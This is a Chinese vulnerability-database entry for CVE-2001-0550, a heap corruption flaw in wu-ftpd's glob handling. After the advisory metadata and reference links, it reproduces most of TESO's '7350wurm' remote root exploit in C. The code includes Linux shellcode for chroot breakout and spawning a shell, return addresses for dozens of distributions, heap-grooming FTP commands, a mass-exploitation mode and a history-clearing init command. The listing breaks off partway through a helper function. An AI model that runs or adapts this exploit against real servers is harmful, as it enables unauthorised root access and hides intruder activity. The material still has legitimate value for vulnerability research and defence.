CVE-2001-0550
CVSS7.5
发布时间 :2001-11-30 00:00:00
修订时间 :2016-10-17 22:11:29
NMCOES    

[原文]wu-ftpd 2.6.1 allows remote attackers to execute arbitrary commands via a "~{" argument to commands such as CWD, which is not properly handled by the glob function (ftpglob).


[CNNVD]Wu-Ftpd文件文件名代换堆腐烂漏洞(CNNVD-200111-057)

        wu-ftpd 2.6.1版本存在漏洞。远程攻击者借助"~{" 参数到命令如CWD执行任意命令,该漏洞不能被glob函数(ftpglob)正确处理。

- CVSS (基础分值)

CVSS分值: 7.5 [严重(HIGH)]
机密性影响: [--]
完整性影响: [--]
可用性影响: [--]
攻击复杂度: [--]
攻击向量: [--]
身份认证: [--]

- CPE (受影响的平台与产品)

cpe:/a:david_madore:ftpd-bsd:0.3.2
cpe:/a:washington_university:wu-ftpd:2.6.1
cpe:/a:washington_university:wu-ftpd:2.6.0
cpe:/a:david_madore:ftpd-bsd:0.3.3
cpe:/a:washington_university:wu-ftpd:2.5.0

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0550
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2001-0550
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200111-057
(官方数据源) CNNVD

- 其它链接及资源

http://distro.conectiva.com.br/atualizacoes/?id=a&anuncio=000442
(UNKNOWN)  CONECTIVA  CLA-2001:442
http://download.immunix.org/ImmunixOS/7.0/updates/IMNX-2001-70-036-01
(UNKNOWN)  IMMUNIX  IMNX-2001-70-036-01
http://marc.info/?l=bugtraq&m=100700363414799&w=2
(UNKNOWN)  BUGTRAQ  20011128 CORE-20011001: Wu-FTP glob heap corruption vulnerability
http://www.caldera.com/support/security/advisories/CSSA-2001-041.0.txt
(VENDOR_ADVISORY)  CALDERA  CSSA-2001-041.0
http://www.cert.org/advisories/CA-2001-33.html
(VENDOR_ADVISORY)  CERT  CA-2001-33
http://www.debian.org/security/2001/dsa-087
(UNKNOWN)  DEBIAN  DSA-087
http://www.kb.cert.org/vuls/id/886083
(VENDOR_ADVISORY)  CERT-VN  VU#886083
http://www.linux-mandrake.com/en/security/2001/MDKSA-2001-090.php3
(UNKNOWN)  MANDRAKE  MDKSA-2001:090
http://www.novell.com/linux/security/advisories/2001_043_wuftpd_txt.html
(UNKNOWN)  SUSE  SuSE-SA:2001:043
http://www.redhat.com/support/errata/RHSA-2001-157.html
(VENDOR_ADVISORY)  REDHAT  RHSA-2001:157
http://www.securityfocus.com/archive/82/180823
(UNKNOWN)  VULN-DEV  20010430 some ftpd implementations mishandle CWD ~{
http://www.securityfocus.com/bid/3581
(VENDOR_ADVISORY)  BID  3581
http://www1.itrc.hp.com/service/cki/docDisplay.do?docId=HPSBUX0107-162
(UNKNOWN)  HP  HPSBUX0107-162
http://xforce.iss.net/xforce/xfdb/7611
(UNKNOWN)  XF  wuftp-glob-heap-corruption(7611)

- 漏洞信息

Wu-Ftpd文件文件名代换堆腐烂漏洞
高危 其他
2001-11-30 00:00:00 2006-09-20 00:00:00
远程  
        wu-ftpd 2.6.1版本存在漏洞。远程攻击者借助"~{" 参数到命令如CWD执行任意命令,该漏洞不能被glob函数(ftpglob)正确处理。

- 公告与补丁

        Fixes are available. Please see the references for more information.
        Washington University wu-ftpd 2.6 .0
        
        Washington University wu-ftpd 2.6.1
        

- 漏洞信息 (348)

wu-ftpd <= 2.6.1 Remote Root Exploit (EDBID:348)
linux remote
2002-05-14 Verified
21 Teso
N/A [点击下载]
/* 7350wurm - x86/linux wu_ftpd remote root exploit
 *
 * TESO CONFIDENTIAL - SOURCE MATERIALS
 *
 * This is unpublished proprietary source code of TESO Security.
 *
 * The contents of these coded instructions, statements and computer
 * programs may not be disclosed to third parties, copied or duplicated in
 * any form, in whole or in part, without the prior written permission of
 * TESO Security. This includes especially the Bugtraq mailing list, the
 * www.hack.co.za website and any public exploit archive.
 *
 * The distribution restrictions cover the entire file, including this
 * header notice. (This means, you are not allowed to reproduce the header).
 *
 * (C) COPYRIGHT TESO Security, 2001
 * All Rights Reserved
 *
 *****************************************************************************
 * thanks to bnuts, tomas, dvorak, scrippie and max for hints, discussions and
 * ideas (synnergy.net rocks, thank you buddies ! :).
 */

#define VERSION "0.2.2"

/* TODO 1. fix chroot break on linux 2.4.x (x >= 13?)
 *         (ptrace inject on ppid())
 */

#include <sys/types.h>
#include <sys/time.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <arpa/telnet.h>
#include <netdb.h>
#include <errno.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <stdarg.h>
#include <string.h>
#include <time.h>


#define INIT_CMD        "unset HISTFILE;id;uname -a;\n"

/* shellcodes
 */
unsigned char   x86_lnx_loop[] =
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\xeb\xfe";

/* x86/linux write/read/exec code (41 bytes)
 * does: 1. write (1, "\nsP\n", 4);
 *       2. read (0, ncode, 0xff);
 *       3. jmp ncode
 */
unsigned char   x86_wrx[] =
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

        "\x31\xdb\x43\xb8\x0b\x74\x51\x0b\x2d\x01\x01\x01"
        "\x01\x50\x89\xe1\x6a\x04\x58\x89\xc2\xcd\x80\xeb"
        "\x0e\x31\xdb\xf7\xe3\xfe\xca\x59\x6a\x03\x58\xcd"
        "\x80\xeb\x05\xe8\xed\xff\xff\xff";


unsigned char   x86_lnx_execve[] =
        /* 49 byte x86 linux PIC setreuid(0,0) + chroot-break
         * code by lorian / teso
         */
        "\x33\xdb\xf7\xe3\xb0\x46\x33\xc9\xcd\x80\x6a\x54"
        "\x8b\xdc\xb0\x27\xb1\xed\xcd\x80\xb0\x3d\xcd\x80"
        "\x52\xb1\x10\x68\xff\x2e\x2e\x2f\x44\xe2\xf8\x8b"
        "\xdc\xb0\x3d\xcd\x80\x58\x6a\x54\x6a\x28\x58\xcd"
        "\x80"

        /* 34 byte x86 linux argv code -sc
         */
        "\xeb\x1b\x5f\x31\xc0\x50\x8a\x07\x47\x57\xae\x75"
        "\xfd\x88\x67\xff\x48\x75\xf6\x5b\x53\x50\x5a\x89"
        "\xe1\xb0\x0b\xcd\x80\xe8\xe0\xff\xff\xff";


/* setreuid/chroot/execve
 * lorian / teso */
unsigned char   x86_lnx_shell[] =
/* TODO: fix chroot break on 2.4.x series (somewhere between 2.4.6 and
 *       2.4.13 they changed chroot behaviour. maybe to ptrace-inject
 *       on parent process (inetd) and execute code there. (optional)
 */
        "\x33\xdb\xf7\xe3\xb0\x46\x33\xc9\xcd\x80\x6a\x54"
        "\x8b\xdc\xb0\x27\xb1\xed\xcd\x80\xb0\x3d\xcd\x80"
        "\x52\xb1\x10\x68\xff\x2e\x2e\x2f\x44\xe2\xf8\x8b"
        "\xdc\xb0\x3d\xcd\x80\x58\x6a\x54\x6a\x28\x58\xcd"
        "\x80"
        "\x6a\x0b\x58\x99\x52\x68\x6e\x2f\x73\x68\x68\x2f"
        "\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xcd\x80";


typedef struct {
        char *                  desc;           /* distribution */
        char *                  banner;         /* ftp banner part */
        unsigned char *         shellcode;
        unsigned int            shellcode_len;

        unsigned long int       retloc;         /* return address location */
        unsigned long int       cbuf;           /* &cbuf[0] */
} tgt_type;


tgt_type tmanual = {
        "manual values",
        "unknown banner",
        x86_wrx, sizeof (x86_wrx) - 1,
        0x41414141, 0x42424242
};

tgt_type targets[] = {
        { "Caldera eDesktop|eServer|OpenLinux 2.3 update "
                "[wu-ftpd-2.6.1-13OL.i386.rpm]",
                "Version wu-2.6.1(1) Wed Nov 28 14:03:42 CET 2001",
                x86_wrx, sizeof (x86_wrx) - 1,
                0x0806e2b0, 0x080820a0 },

        { "Debian potato [wu-ftpd_2.6.0-3.deb]",
                "Version wu-2.6.0(1) Tue Nov 30 19:12:53 CET 1999",
                x86_wrx, sizeof (x86_wrx) - 1,
                0x0806db00, 0x0807f520 },

        { "Debian potato [wu-ftpd_2.6.0-5.1.deb]",
                "Version wu-2.6.0(1) Fri Jun 23 08:07:11 CEST 2000",
                x86_wrx, sizeof (x86_wrx) - 1,
                0x0806db80, 0x0807f5a0 },

        { "Debian potato [wu-ftpd_2.6.0-5.3.deb]",
                "Version wu-2.6.0(1) Thu Feb 8 17:45:47 CET 2001",
                x86_wrx, sizeof (x86_wrx) - 1,
                0x0806db80, 0x0807f5a0 },

        { "Debian sid [wu-ftpd_2.6.1-5_i386.deb]",
                "Version wu-2.6.1(1) Sat Feb 24 01:43:53 GMT 2001",
                x86_wrx, sizeof (x86_wrx) - 1,
                0x0806e7a0, 0x0807ffe0 },

        { "Immunix 6.2 (Cartman) [wu-ftpd-2.6.0-3_StackGuard.rpm]",
                "Version wu-2.6.0(1) Thu May 25 03:35:34 PDT 2000",
                x86_wrx, sizeof (x86_wrx) - 1,
                0x080713e0, 0x08082e00 },

        { "Immunix 7.0 (Stolichnaya) [wu-ftpd-2.6.1-6_imnx_2.rpm]",
                "Version wu-2.6.1(1) Mon Jan 29 08:04:31 PST 2001",
                x86_wrx, sizeof (x86_wrx) - 1,
                0x08072bd4, 0x08086400 },

        { "Mandrake 6.0|6.1|7.0|7.1 update [wu-ftpd-2.6.1-8.6mdk.i586.rpm]",
                "Version wu-2.6.1(1) Mon Jan 15 20:52:49 CET 2001",
                x86_wrx, sizeof (x86_wrx) - 1,
                0x0806f7f0, 0x08082600 },

        { "Mandrake 7.2 update [wu-ftpd-2.6.1-8.3mdk.i586.rpm]",
                "Version wu-2.6.1(1) Wed Jan 10 07:07:00 CET 2001",
                x86_wrx, sizeof (x86_wrx) - 1,
                0x08071850, 0x08084660 },

        { "Mandrake 8.1 [wu-ftpd-2.6.1-11mdk.i586.rpm]",
                "Version wu-2.6.1(1) Sun Sep 9 16:30:24 CEST 2001",
                x86_wrx, sizeof (x86_wrx) - 1,
                0x0806fec4, 0x08082b40 },

        { "RedHat 5.0|5.1 update [wu-ftpd-2.4.2b18-2.1.i386.rpm]",
                "Version wu-2.4.2-academ[BETA-18](1) "
                        "Mon Jan 18 19:19:31 EST 1999",
                x86_wrx, sizeof (x86_wrx) - 1,
                0x08061cf0, 0x08068540 },       /* XXX: manually found */

        { "RedHat 5.2 (Apollo) [wu-ftpd-2.4.2b18-2.i386.rpm]",
                "Version wu-2.4.2-academ[BETA-18](1) "
                        "Mon Aug 3 19:17:20 EDT 1998",
                x86_wrx, sizeof (x86_wrx) - 1,
                0x08061c48, 0x08068490 },       /* XXX: manually found */

        { "RedHat 5.2 update [wu-ftpd-2.6.0-2.5.x.i386.rpm]",
                "Version wu-2.6.0(1) Fri Jun 23 09:22:33 EDT 2000",
                x86_wrx, sizeof (x86_wrx) - 1,
                0x0806b530, 0x08076550 },       /* XXX: manually found */

#if 0
        /* XXX: not exploitable using synnergy.net method. (glob code
         *      does not handle {.,.,.,.}
         */
        { "RedHat 6.0 (Hedwig) [wu-ftpd-2.4.2vr17-3.i386.rpm]",
                "Version wu-2.4.2-VR17(1) Mon Apr 19 09:21:53 EDT 1999",
                x86_wrx, sizeof (x86_wrx) - 1,
                0x08069f04, 0x08079f60 },
#endif

        { "RedHat 6.? [wu-ftpd-2.6.0-1.i386.rpm]",
                "Version wu-2.6.0(1) Thu Oct 21 12:27:00 EDT 1999",
                x86_wrx, sizeof (x86_wrx) - 1,
                0x0806e620, 0x080803e0 },

        { "RedHat 6.0|6.1|6.2 update [wu-ftpd-2.6.0-14.6x.i386.rpm]",
                "Version wu-2.6.0(1) Fri Jun 23 09:17:44 EDT 2000",
                x86_wrx, sizeof (x86_wrx) - 1,
                0x08070538, 0x08083360 },

        { "RedHat 6.1 (Cartman) [wu-ftpd-2.5.0-9.rpm]",
                "Version wu-2.5.0(1) Tue Sep 21 16:48:12 EDT 1999",
                x86_wrx, sizeof (x86_wrx) - 1,
                0x0806cb88, 0x0807cc40 },

        { "RedHat 6.2 (Zoot) [wu-ftpd-2.6.0-3.i386.rpm]",
                "Version wu-2.6.0(1) Mon Feb 28 10:30:36 EST 2000",
                x86_wrx, sizeof (x86_wrx) - 1,
                0x0806e1a0, 0x0807fbc0 },

        { "RedHat 7.0 (Guinness) [wu-ftpd-2.6.1-6.i386.rpm]",
                "Version wu-2.6.1(1) Wed Aug 9 05:54:50 EDT 2000",
                x86_wrx, sizeof (x86_wrx) - 1,
                0x08070ddc, 0x08084600 },

        { "RedHat 7.1 (Seawolf) [wu-ftpd-2.6.1-16.rpm]",
                "Version wu-2.6.1-16",
                x86_wrx, sizeof (x86_wrx) - 1,
                0x0807314c, 0x08085de0 },

        { "RedHat 7.2 (Enigma) [wu-ftpd-2.6.1-18.i386.rpm]",
                "Version wu-2.6.1-18",
                x86_wrx, sizeof (x86_wrx) - 1,
                0x08072c30, 0x08085900 },

        { "SuSE 6.0|6.1 update [wuftpd-2.6.0-151.i386.rpm]",
                "Version wu-2.6.0(1) Wed Aug 30 22:26:16 GMT 2000",
                x86_wrx, sizeof (x86_wrx) - 1,
                0x0806e6b4, 0x080800c0 },

        { "SuSE 6.0|6.1 update wu-2.4.2 [wuftpd-2.6.0-151.i386.rpm]",
                "Version wu-2.4.2-academ[BETA-18](1) "
                        "Wed Aug 30 22:26:37 GMT 2000",
                x86_wrx, sizeof (x86_wrx) - 1,
                0x0806989c, 0x08069f80 },

        { "SuSE 6.2 update [wu-ftpd-2.6.0-1.i386.rpm]",
                "Version wu-2.6.0(1) Thu Oct 28 23:35:06 GMT 1999",
                x86_wrx, sizeof (x86_wrx) - 1,
                0x0806f85c, 0x08081280 },

        { "SuSE 6.2 update [wuftpd-2.6.0-121.i386.rpm]",
                "Version wu-2.6.0(1) Mon Jun 26 13:11:34 GMT 2000",
                x86_wrx, sizeof (x86_wrx) - 1,
                0x0806f4e0, 0x08080f00 },

        { "SuSE 6.2 update wu-2.4.2 [wuftpd-2.6.0-121.i386.rpm]",
                "Version wu-2.4.2-academ[BETA-18](1) "
                        "Mon Jun 26 13:11:56 GMT 2000",
                x86_wrx, sizeof (x86_wrx) - 1,
                0x0806a234, 0x0806a880 },

        { "SuSE 7.0 [wuftpd.rpm]",
                "Version wu-2.6.0(1) Wed Sep 20 23:52:03 GMT 2000",
                x86_wrx, sizeof (x86_wrx) - 1,
                0x0806f180, 0x08080ba0 },

        { "SuSE 7.0 wu-2.4.2 [wuftpd.rpm]",
                "Version wu-2.4.2-academ[BETA-18](1) "
                        "Wed Sep 20 23:52:21 GMT 2000",
                x86_wrx, sizeof (x86_wrx) - 1,
                0x0806a554, 0x0806aba0 },

        { "SuSE 7.1 [wuftpd.rpm]",
                "Version wu-2.6.0(1) Thu Mar 1 14:43:47 GMT 2001",
                x86_wrx, sizeof (x86_wrx) - 1,
                0x0806f168, 0x08080980 },

        { "SuSE 7.1 wu-2.4.2 [wuftpd.rpm]",
                "Version wu-2.4.2-academ[BETA-18](1) "
                        "Thu Mar 1 14:44:08 GMT 2001",
                x86_wrx, sizeof (x86_wrx) - 1,
                0x0806a534, 0x0806ab80 },

        { "SuSE 7.2 [wuftpd.rpm]",
                "Version wu-2.6.0(1) Mon Jun 18 12:34:55 GMT 2001",
                x86_wrx, sizeof (x86_wrx) - 1,
                0x0806f58c, 0x08080dc0 },

        { "SuSE 7.2 wu-2.4.2 [wuftpd.rpm]",
                "Version wu-2.4.2-academ[BETA-18](1) "
                        "Mon Jun 18 12:35:12 GMT 2001",
                x86_wrx, sizeof (x86_wrx) - 1,
                0x0806a784, 0x0806ae40 },

        { "SuSE 7.3 [wuftpd.rpm]",
                "Version wu-2.6.0(1) Thu Oct 25 03:14:33 GMT 2001",
                x86_wrx, sizeof (x86_wrx) - 1,
                0x0806f31c, 0x08080aa0 },

        { "SuSE 7.3 wu-2.4.2 [wuftpd.rpm]",
                "Version wu-2.4.2-academ[BETA-18](1) "
                        "Thu Oct 25 03:14:49 GMT 2001",
                x86_wrx, sizeof (x86_wrx) - 1,
                0x0806a764, 0x0806ad60 },
#if 0

        /* slackware (from 8 on they use proftpd by default) */
        { "Slackware 7",
                "Version wu-2.6.0(1) Fri Oct 22 00:38:20 CDT 1999",
                x86_wrx, sizeof (x86_wrx) - 1,
                0x0806d03c, 0x0808f648 },
#endif

        { "Slackware 7.1",
                "Version wu-2.6.0(1) Tue Jun 27 10:52:28 PDT 2000",
                x86_wrx, sizeof (x86_wrx) - 1,
                0x0806ba2c, },

        { NULL, NULL, 0, 0, 0, 0 },
};

/* exploitation related stuff.
 * DO NOT CHANGE, except you know exactly what you are doing.
 */
#define CHUNK_POS       256

#define MALLOC_ALIGN_MASK       0x07
#define MALLOC_MINSIZE          0x10
#define CHUNK_ALLSIZE(s) \
        CHUNK_ROUND((s)) + 0x08
#define CHUNK_ROUND(s) \
        (((((s) + 4 + MALLOC_ALIGN_MASK)) < \
                (MALLOC_MINSIZE + MALLOC_ALIGN_MASK)) ? \
        (MALLOC_MINSIZE) : ((((s) + 4 + MALLOC_ALIGN_MASK)) & \
        ~MALLOC_ALIGN_MASK))

/* minimum sized malloc(n) allocation that will jield in an overall
 * chunk size of s. (s must be a valid %8=0 chunksize)
 */
#define CHUNK_ROUNDDOWN(s) \
        ((s) <= 0x8) ? (1) : ((s) - 0x04 - 11)
#define CHUNK_STRROUNDDOWN(s) \
        (CHUNK_ROUNDDOWN ((s)) > 1 ? CHUNK_ROUNDDOWN ((s)) - 1 : 1)


/* FTP related stuff
 */
char *  dest = "127.0.0.1";     /* can be changed with -d */
char *  username = "ftp";       /* can be changed with -u */
char *  password = "mozilla@";  /* can be changed with -p */

char *  ftp_banner = NULL;

int     verbose = 0;


/* FTP prototypes
 */
void ftp_escape (unsigned char *buf, unsigned long int buflen);
void ftp_recv_until (int sock, char *buff, int len, char *begin);
int ftp_login (char *host, char *user, char *pass);


/* main prototypes
 */
void usage (char *progname);
void exploit (int fd, tgt_type *tgt);
void shell (int sock);
void hexdump (char *desc, unsigned char *data, unsigned int amount);

void tgt_list (void);
tgt_type * tgt_frombanner (unsigned char *banner);

void xp_buildsize (int fd, unsigned char this_size_ls,
        unsigned long int csize);
void xp_gapfill (int fd, int rnfr_num, int rnfr_size);
int xp_build (tgt_type *tgt, unsigned char *buf, unsigned long int buf_len);
void xp_buildchunk (tgt_type *tgt, unsigned char *cspace, unsigned int clen);


/*** MASS mode stuff
 */
static int
sc_build_x86_lnx (unsigned char *target, size_t target_len,
        unsigned char *shellcode, char **argv);

int             mass = 0;       /* enable with -m (kids, get hurt!) */
unsigned int    mlen = 0;
unsigned char   mcode[256];


/* imported from network.c
 */
#define NET_CONNTIMEOUT 60
#define NET_READTIMEOUT 20
int     net_conntimeout = NET_CONNTIMEOUT;

unsigned long int net_resolve (char *host);
int net_connect (struct sockaddr_in *cs, char *server,
        unsigned short int port, int sec);
void net_write (int fd, const char *str, ...);
int net_rtimeout (int fd, int sec);
int net_rlinet (int fd, char *buf, int bufsize, int sec);


/* exploitation related stuff, which is fixed on all wuftpd systems
 */
#define RNFR_SIZE       4
#define RNFR_NUM        73

int     automode = 0;   /* evil, do not use */
int     debugmode = 0;

void
usage (char *progname)
{
        fprintf (stderr, "usage: %s [-h] [-v] [-a] [-D] [-m]\n"
                "\t[-t <num>] [-u <user>] [-p <pass>] [-d host]\n"
                "\t[-L <retloc>] [-A <retaddr>]\n\n", progname);

        fprintf (stderr,
                "-h\tthis help\n"
                "-v\tbe verbose (default: off, twice for greater effect)\n"
                "-a\tAUTO mode (target from banner)\n"
                "-D\tDEBUG mode (waits for keypresses)\n"
                "-m\tenable mass mode (use with care)\n"
                "-t num\tchoose target (0 for list, try -v or -v -v)\n"
                "-u user\tusername to login to FTP (default: \"ftp\")\n"
                "-p pass\tpassword to use (default: \"mozilla@\")\n"
                "-d dest\tIP address or fqhn to connect to "
                        "(default: 127.0.0.1)\n"
                "-L loc\toverride target-supplied retloc "
                        "(format: 0xdeadbeef)\n"
                "-A addr\toverride target-supplied retaddr "
                        "(format: 0xcafebabe)\n");
        fprintf (stderr, "\n");

        exit (EXIT_FAILURE);
}

unsigned char *         shellcode = NULL;
unsigned long int       shellcode_len = 0;
unsigned long int       user_retloc = 0,
                        user_retaddr = 0;


int
main (int argc, char *argv[])
{
        char                    c;
        char *                  progname;       /* = argv[0] */
        int                     fd;

        tgt_type *              tgt = NULL;
        int                     tgt_num = -1;

        unsigned char           xpbuf[512 + 16];


        fprintf (stderr, "7350wurm - x86/linux wuftpd <= 2.6.1 remote root "
                "(version "VERSION")\n"
                "team teso (thx bnuts, tomas, synnergy.net !).\n\n");

        progname = argv[0];
        if (argc < 2)
                usage (progname);


        while ((c = getopt (argc, argv, "hvaDmt:u:p:d:L:A:")) != EOF) {
                switch (c) {
                case 'h':
                        usage (progname);
                        break;
                case 'a':
                        automode = 1;
                        break;
                case 'D':
                        debugmode = 1;
                        break;
                case 'v':
                        verbose += 1;
                        break;
                case 'm':
                        mass = 1;
                        break;
                case 't':
                        if (sscanf (optarg, "%u", &tgt_num) != 1)
                                usage (progname);
                        break;
                case 'u':
                        username = "h0ra";
                        printf ("username = %s\n", optarg);
                        break;
                case 'p':
                        password = optarg;
                        break;
                case 'd':
                        dest = optarg;
                        break;
                case 'L':
                        if (sscanf (optarg, "0x%lx", &user_retloc) != 1)
                                usage (progname);
                        break;
                case 'A':
                        if (sscanf (optarg, "0x%lx", &user_retaddr) != 1)
                                usage (progname);
                        break;
                default:
                        usage (progname);
                        break;
                }
        }

        /* if both required offsets are given manually, then we dont have
         * to require a target selection. otherwise check whether the target
         * is within the list. if its not, then print a list of available
         * targets
         */
        if (user_retloc != 0 && user_retaddr != 0) {
                tgt = &tmanual;
        } else if (automode == 0 && (tgt_num == 0 ||
                tgt_num >= (sizeof (targets) / sizeof (tgt_type))))
        {
                if (tgt_num != 0)
                        printf ("WARNING: target out of list. list:\n\n");

                tgt_list ();

                exit (EXIT_SUCCESS);
        }
        if (tgt == NULL && automode == 0)
                tgt = &targets[tgt_num - 1];

        if (mass == 1) {
                if ((argc - optind) == 0)
                        usage (progname);

                mlen = sc_build_x86_lnx (mcode, sizeof (mcode),
                        x86_lnx_execve, &argv[optind]);

                if (mlen >= 0xff) {
                        fprintf (stderr, "created argv-code too long "
                                "(%d bytes)\n", mlen);

                        exit (EXIT_FAILURE);
                }

                fprintf (stderr, "# created %d byte execve shellcode\n", mlen);
        }

        printf ("# trying to log into %s with (%s/%s) ...", dest,
                username, password);
        fflush (stdout);

        fd = ftp_login (dest, username, password);
        if (fd <= 0) {
                fprintf (stderr, "\nfailed to connect (user/pass correct?)\n");
                exit (EXIT_FAILURE);
        }
        printf (" connected.\n");

        if (debugmode) {
                printf ("DEBUG: press enter\n");
                getchar ();
        }

        printf ("# banner: %s", (ftp_banner == NULL) ? "???" :
                ftp_banner);

        if (tgt == NULL && automode) {
                tgt = tgt_frombanner (ftp_banner);
                if (tgt == NULL) {
                        printf ("# failed to jield target from banner, aborting\n");

                        exit (EXIT_FAILURE);
                }
                printf ("# successfully selected target from banner\n");
        }

        if (shellcode == NULL) {
                shellcode = tgt->shellcode;
                shellcode_len = tgt->shellcode_len;
        }

        if (verbose >= 2) {
                printf ("using %lu byte shellcode:\n", shellcode_len);

                hexdump ("shellcode", shellcode, shellcode_len);
        }

        if (user_retaddr != 0) {
                fprintf (stderr, "# overriding target retaddr with: 0x%08lx\n",
                        user_retaddr);
        }

        if (user_retloc != 0) {
                fprintf (stderr, "# overriding target retloc with: 0x%08lx\n",
                        user_retloc);

                tgt->retloc = user_retloc;
        }

        printf ("\n### TARGET: %s\n\n", tgt->desc);

        /* real stuff starts from here
         */
        printf ("# 1. filling memory gaps\n");
        xp_gapfill (fd, RNFR_NUM, RNFR_SIZE);

        exploit (fd, tgt);

        printf ("# 3. triggering free(globlist[1])\n");
        net_write (fd, "CWD ~{\n");

        ftp_recv_until (fd, xpbuf, sizeof (xpbuf), "sP");
        if (strncmp (xpbuf, "sP", 2) != 0) {
                fprintf (stderr, "exploitation FAILED !\noutput:\n%s\n",
                        xpbuf);

                exit (EXIT_FAILURE);
        }

        printf ("#\n# exploitation succeeded. sending real shellcode\n");

        if (mass == 1) {
                printf ("# mass mode, sending constructed argv code\n");

                write (fd, mcode, mlen);

                printf ("# send. sleeping 10 seconds\n");
                sleep (10);

                printf ("# success.\n");

                exit (EXIT_SUCCESS);
        }

        printf ("# sending setreuid/chroot/execve shellcode\n");
        net_write (fd, "%s", x86_lnx_shell);

        printf ("# spawning shell\n");
        printf ("##################################################"
                        "##########################\n");

        write (fd, INIT_CMD, strlen (INIT_CMD));
        shell (fd);

        exit (EXIT_SUCCESS);
}


void
exploit (int fd, tgt_type *tgt)
{
        unsigned long int       dir_chunk_size,
                                bridge_dist,
                                padchunk_size,
                                fakechunk_size,
                                pad_before;
        unsigned char *         dl;     /* dirlength */

        unsigned char           xpbuf[512 + 64];


        /* figure out home directory length
         */
        net_write (fd, "PWD\n");
        ftp_recv_until (fd, xpbuf, sizeof (xpbuf), "257 ");

        dl = strchr (xpbuf, '"');
        if (dl == NULL || strchr (dl + 1, '"') == NULL) {
                fprintf (stderr, "faulty PWD reply: %s\n", xpbuf);

                exit (EXIT_FAILURE);
        }

        dir_chunk_size = 0;
        for (dl += 1 ; *dl != '"' ; ++dl)
                dir_chunk_size += 1;

        if (verbose)
                printf ("PWD path (%lu): %s\n", dir_chunk_size, xpbuf);

        /* compute chunk size from it (needed later)
         */
        dir_chunk_size += 3;    /* ~/ + NUL byte */
        dir_chunk_size = CHUNK_ROUND (dir_chunk_size);
        if (debugmode)
                printf ("dir_chunk_size = 0x%08lx\n", dir_chunk_size);


        /* send preparation buffer to store the fakechunk in the end of
         * the malloc buffer allocated from within the parser ($1)
         */
        printf ("# 2. sending bigbuf + fakechunk\n");
        xp_build (tgt, xpbuf, 500 - strlen ("LIST "));
        if (verbose)
                hexdump ("xpbuf", xpbuf, strlen (xpbuf));

        ftp_escape (xpbuf, sizeof (xpbuf));
        net_write (fd, "CWD %s\n", xpbuf);
        ftp_recv_until (fd, xpbuf, sizeof (xpbuf), "550 ");


        /* synnergy.net uberleet method (thank you very much guys !)
         */
        net_write (fd, "CWD ~/{.,.,.,.}\n");
        ftp_recv_until (fd, xpbuf, sizeof (xpbuf), "250 ");

        /* now, we flush the last-used-chunk marker in glibc malloc code. else
         * we might land in a previously used bigger chunk, but we need a
         * sequential order. "CWD ." will allocate a two byte chunk, which will
         * be reused on any later small malloc.
         */
        net_write (fd, "CWD .\n");
        ftp_recv_until (fd, xpbuf, sizeof (xpbuf), "250 ");


        /* cause chunk with padding size
         */
        pad_before = CHUNK_ALLSIZE (strlen ("~/{.,.,.,.}\n")) +
                        dir_chunk_size - 0x08;
        xp_gapfill (fd, 1, CHUNK_ROUNDDOWN (pad_before));

        /* 0x10 (CWD ~/{.,.,.,.}) + 4 * dirchunk */
        bridge_dist = 0x10 + 4 * dir_chunk_size;
        if (debugmode)
                printf ("bridge_dist = 0x%08lx\n", bridge_dist);

        /* 0x18 (RNFR 16), dcs (RNFR dir), 0x10 (CWD ~{) */
        padchunk_size = bridge_dist - 0x18 - dir_chunk_size - 0x10;
        if (debugmode)
                printf ("padchunk_size = 0x%08lx\n", padchunk_size);

        /* +4 = this_size field itself */
        fakechunk_size = CHUNK_POS + 4;
        fakechunk_size -= pad_before;
        fakechunk_size += 0x04; /* account for prev_size, too */
        fakechunk_size |= 0x1;  /* set PREV_INUSE */

        if (debugmode)
                printf ("fakechunk_size = 0x%08lx\n", fakechunk_size);
        xp_buildsize (fd, fakechunk_size, 0x10);

        /* pad down to the minimum possible size in 8 byte alignment
         */
        if (verbose)
                printf ("\npadchunk_size = 0x%08lx\n==> %lu\n",
                        padchunk_size, padchunk_size - 8 - 1);
        xp_gapfill (fd, 1, padchunk_size - 8 - 1);

        if (debugmode) {
                printf ("press enter\n");
                getchar ();
        }

        return;
}


/* tgt_list
 *
 * give target list
 */

void
tgt_list (void)
{
        int     tgt_num;


        printf ("num . description\n");
        printf ("----+-----------------------------------------------"
                "--------\n");

        for (tgt_num = 0 ; targets[tgt_num].desc != NULL ; ++tgt_num) {
                printf ("%3d | %s\n", tgt_num + 1, targets[tgt_num].desc);

                if (verbose)
                        printf ("    :    %s\n", targets[tgt_num].banner);
                if (verbose >= 2)
                        printf ("    :    retloc: 0x%08lx   "
                                "cbuf: 0x%08lx\n",
                                targets[tgt_num].retloc,
                                targets[tgt_num].cbuf);
        }
        printf ("    '\n");

        return;
}


/* tgt_frombanner
 *
 * try to automatically select target from ftp banner
 *
 * return pointer to target structure on success
 * return NULL on failure
 */

tgt_type *
tgt_frombanner (unsigned char *banner)
{
        int     tw;     /* target list walker */


        for (tw = 0 ; targets[tw].desc != NULL ; ++tw) {
                if (strstr (banner, targets[tw].banner) != NULL)
                        return (&targets[tw]);
        }

        return (NULL);
}


/* xp_buildsize
 *
 * set chunksize to this_size_ls. do this in a csize bytes long chunk.
 * normally csize = 0x10. csize is always a padded chunksize.
 */

void
xp_buildsize (int fd, unsigned char this_size_ls, unsigned long int csize)
{
        int             n,
                        cw;     /* chunk walker */
        unsigned char   tmpbuf[512];
        unsigned char * leet = "7350";


        for (n = 2 ; n > 0 ; --n) {
                memset (tmpbuf, '\0', sizeof (tmpbuf));

                for (cw = 0 ; cw < (csize - 0x08) ; ++cw)
                        tmpbuf[cw] = leet[cw % 4];

                tmpbuf[cw - 4 + n] = '\0';
                if (debugmode)
                        printf (": CWD %s\n", tmpbuf);

                net_write (fd, "CWD %s\n", tmpbuf);
